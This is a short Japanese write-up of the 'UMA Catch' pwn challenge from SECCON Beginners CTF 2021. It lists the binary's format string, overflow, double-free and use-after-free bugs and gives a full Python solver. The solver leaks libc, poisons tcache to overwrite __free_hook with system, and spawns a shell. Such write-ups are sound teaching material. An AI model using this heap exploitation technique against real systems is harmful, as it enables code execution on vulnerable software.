# UMA Catch - SECCON Beginners CTF Online 2021 ## 概要 バイナリはヒープ問っぽい見た目をしている。けどそんなことはない。 ソースコードが配られていないのでIDAで読む。 構造体がヒープに確保され、見た目はこんな感じ。 ``` typedef struct { char name[0x100]; void *func; } Horse; ``` インデックスの指定は範囲外参照が可能。 `naming`関数に自明なBOFがある。PIEが無効なのでこれでなんとかなるんじゃないかなって感じ。 一応showにFSBもある。 あとdouble free, use after freeもある。やりたい放題。 ## 解法 まぁ何やっても解けると思う。 ぱっと思いつくだけで、FSBで全部終わらせる方法、listの範囲外参照でstdioを書き換える方法、use-after-freeでtcache corruptする方法などなど。 まぁlibc-2.27なら一応どのlibcでも動くソルバを書く。 ```python from ptrlib import * def new(index): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", str(index)) sock.sendlineafter("> ", "bay") def edit(index, name): sock.sendlineafter("> ", "2") sock.sendlineafter("> ", str(index)) sock.sendlineafter("> ", name) def show(index): sock.sendlineafter("> ", "3") sock.sendlineafter("> ", str(index)) def ignite(index): sock.sendlineafter("> ", "4") sock.sendlineafter("> ", str(index)) def release(index): sock.sendlineafter("> ", "5") sock.sendlineafter("> ", str(index)) libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./chall") # leak new(0) edit(0, "%13$p") show(0) libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - 0xe7 logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) # pwn new(1) release(1) release(0) edit(0, p64(libc.symbol('__free_hook'))) new(0) edit(0, "/bin/sh\0") new(1) edit(1, p64(libc.symbol('system'))) release(0) sock.interactive() ``` ## 感想・意見 - 簡単で初心者にも良いと思う - 一応githubのissueに載ってない解法がたくさん存在するけど、それは許容している感じかな?